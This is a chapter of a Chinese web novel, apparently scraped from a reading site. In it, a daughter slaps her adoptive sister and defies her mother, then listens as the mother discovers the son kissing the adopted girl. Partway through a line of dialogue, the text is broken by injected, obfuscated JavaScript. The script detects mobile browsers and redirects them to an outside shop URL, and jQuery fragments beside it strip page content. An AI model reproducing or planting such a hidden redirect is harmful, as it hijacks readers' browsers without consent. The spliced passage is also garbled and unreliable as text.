齐清竹打爽了。
是真的爽。
那几巴掌扇下去的时候,她感觉这么多年憋在胸口的那口气,终于吐出来了一点。
齐思琳那张总是楚楚可怜的脸,在她手下扭曲、红肿、泪流满面。
那副模样,她看了几年,今天终于亲手把它打碎了。
她以前顾忌太多了。
怕爸妈骂她,怕哥哥讨厌她,怕在这个家里更没位置。
每次齐思琳欺负她、陷害她、抢她东西,她都告诉自己:忍一忍,忍一忍就过去了。
等上了大学,等出了国,等离开这个家,就都结束了。
所以她忍。
忍了这么多年。
可今天,她不想忍了。
反正都要死了,还忍什么忍?
那几巴掌扇下去的时候,她甚至能感觉到掌心传来的火辣辣的触感——那是真实的、痛快的、让她浑身舒畅的感觉。
齐思琳捂着脸惨叫的时候,她心情舒畅得不行,感觉混身有劲。
柳丽馨气得直跳脚。
她站在客厅中央,指着齐清竹,手指都在发抖。
脸上的表情从震惊到愤怒,从愤怒到不可置信,最后定格在一种扭曲的、恨铁不成钢的表情上。
“齐清竹!你想干什么!你怎么能打思琳?!”
她的声音尖锐刺耳,气得发抖:“要是被你爸知道了……要是被他知道,你知不知道会有什么后果?!”
齐清竹站在原地,看着柳丽馨那副又急又气的模样,忽然觉得有点想笑。
后果?
她知道。
她想过很多次。
从小到大,她无数次在脑子里模拟过这个场景——反抗齐鸿,打齐思琳,会有什么后果。
最轻的,是冻结银行卡。
生活费没了,买东西的钱没了,她攒了那么久的留学基金,可能会被没收。
重一点的,是取消出国留学的资格。
齐鸿一句话,她辛苦准备了那么久的托福、申请材料、梦想,全都泡汤。
更重的,是被赶出家门,断绝关系,从此再也不是齐家的人。
她以前真的怕。
怕得要死。
所以她一直忍着,一直让着,一直当那个“懂事”的女儿。
可现在——
她抬起头,看着柳丽馨,嘴角弯起一个很淡很淡的弧度。
“知道又怎么样?”
她的声音平静得,像是在说今天天气不错。
“冻结我银行卡?无所谓。”
柳丽馨愣住了。
“不准我出国留学?”齐清竹继续说,语气里甚至带上了一点轻松的笑意。
“无所谓。”
她顿了顿,看着柳丽馨那张逐渐变色的脸,轻声补了一句:“都无所谓。”
柳丽馨张了张嘴,想说什么,却发现自己什么都说不出来。
她看着齐清竹那双眼睛——那双眼睛太平静了,平静得让人发毛。
里面没有愤怒,没有委屈,没有她熟悉的那些情绪。
只有一种……空洞。
像是看着一个无关紧要的东西,像是一切都不重要了。
“你……你……”柳丽馨指着她,手指抖得更厉害了:“我都是为了你好,你怎么不懂啊?”
齐清竹看着她,没有说话。
为了她好?
从小到大,每一次让她“让着思琳”,都是“为了她好”。
每一次偏心齐思琳,都是“为了她好”。
每一次在她受委屈的时候站在齐思琳那边,也都是“为了她好”。
这个“好”,她受了十年。
现在,她不想要了。
“不牢你操心。”
齐清竹淡淡地说完这句话,转身,往自己房间走去。
身后,柳丽馨的声音追上来,带着几分气急败坏:
“清云!你也管管妹妹!说说她!”
齐清竹没有回头。
她继续往前走,手已经握住了自己房门的把手。
然后她听见柳丽馨的声音变了调——
“清云?思琳?人呢?”
齐清竹的手顿住了。
她回过头,看见柳丽馨站在客厅中央,四处张望,脸上带着困惑。
齐清云不在,齐思琳也不在。
然后她看见柳丽馨的脸色突然变了。
变得惨白。
她终于想起来,好刚才让清云带思琳回房间……
“清云——不——!!”
柳丽馨发出一声尖叫,那声音尖锐刺耳,像是看见了什么可怕的东西。
她猛地转身,疯了似的往楼梯冲去,一步三个台阶,踉踉跄跄地往三楼跑。
齐清竹看着她的背影,嘴角弯了弯。
三楼。
齐清云抱着齐思琳去了三楼。
那个柳丽馨严防死守了这么多年的“禁区”。
齐思琳的房间。
现在,门关着。
孤男寡女共处一室。
齐清竹推开自己的房门,走进去,没有关严。
她靠在门边,透过门缝,看着楼梯的方向。
偷听楼上的动静。
三楼,齐思琳的房间里。
齐清云当然没有那么禽兽。
他抱着齐思琳冲进房间后,第一件事就是把她放在床上,然后去看她的脸。
齐思琳的脸,此时已红肿一片。
两边脸颊上都印着清晰的巴掌印,嘴角裂开了一点,渗出一丝血痕。
齐思琳躺在床上,眼泪不停地流,浑身还在发抖,看起来可怜极了。
齐清云心疼得不行。
他坐在床边,握着齐思琳的手,看着她那张红肿的脸,心里涌起一股复杂的情绪——有心疼,有愤怒,有自责,还有一点点说不清的……感激?
他知道齐清竹是在帮他们。
她那几下“狠手”,就是为了让妈妈顾不上盯着他们,给他创造这个机会。
可这也太狠了吧?
他看着齐思琳嘴角的血痕,眉头皱得紧紧的。
“思琳,你忍一忍,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218341|197460||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我去拿冰给你敷一敷……”他想起身。
齐思琳却一把抓住他的手,不让他走。
“别走……”她的声音软软的,带着哭腔,那双泪汪汪的眼睛看着他,里面全是依赖和委屈,“哥哥,你别走……我害怕……”
齐清云的心软成了一滩水。
他重新坐下来,轻轻把她揽进怀里,小心翼翼地避开她脸上的伤。
齐思琳靠在他胸口,肩膀一抽一抽的,还在哭。
“我也不知道做错了什么……”她的声音闷闷的,从胸口传来:“姐姐为什么那么讨厌我……为什么要这样对我……呜呜呜……”
齐清云的心更疼了。
他低头看着怀里这个柔弱的女孩,看着她红肿的脸,听着她委屈的哭声,心里的愤怒和对齐清竹的埋怨越来越浓。
“思琳,你没错。”他抱紧她,声音低沉:“都是……都是我的错。”
他想说,清竹是为了帮我们才打你的。
他想解释,这一切都是为了让他们能在一起。
可他还没开口——
齐思琳抬起头,吻住了他。
那个吻来得突然,又来得理所当然。
齐思琳等这个机会,等得太久了。
柳丽馨防得太紧,她一直找不到机会勾引齐清云。
现在,她终于被齐清云抱在怀里,在只有两个人的房间里,在这样“脆弱”“需要安慰”的时刻——
她怎么可能错过?
她的手攀上他的肩膀,嘴唇贴上他的嘴唇,动作急切又热烈。
齐清云愣住了。
他的大脑一片空白,身体却本能地回应了她。
两个人吻在一起,越吻越深,越抱越紧。
就在这时——
“砰”的一声,房门被猛地推开。
柳丽馨站在门口,脸色惨白,瞳孔放大,整个人像被雷劈中了一样,僵在原地。
她看见床上那两个人——她的儿子和她的养女——紧紧抱在一起,嘴唇还贴在一起,难分难舍。
“齐清云——!!!”
她发出一声撕心裂肺的尖叫,那声音尖锐刺耳,像是要把整栋房子都震塌。
“你——你们——在干什么——!!!”
齐清云猛地推开齐思琳,从床上弹起来,脸上的表情从意乱情迷变成惊恐,再变成慌乱。
他张着嘴,想解释,却什么都说不出来。
齐思琳也愣住了。
但她反应很快,立刻缩进被子里,只露出半张红肿的脸,眼泪又涌了出来,看起来无辜又可怜。
柳丽馨站在门口,扶着门框,整个人都在发抖。
她的脸色青了又白,白了又青,嘴唇哆嗦着,指着齐清云的手指抖得像风中的枯叶。
“你……你……你这个逆子——!!”
她的声音嘶哑,像是用尽了全身的力气。
楼下,齐清竹靠在门边,透过门缝听着楼上的动静。
当那声尖叫传来的时候,她弯起嘴角,轻轻笑了一下。
然后,她关上了门。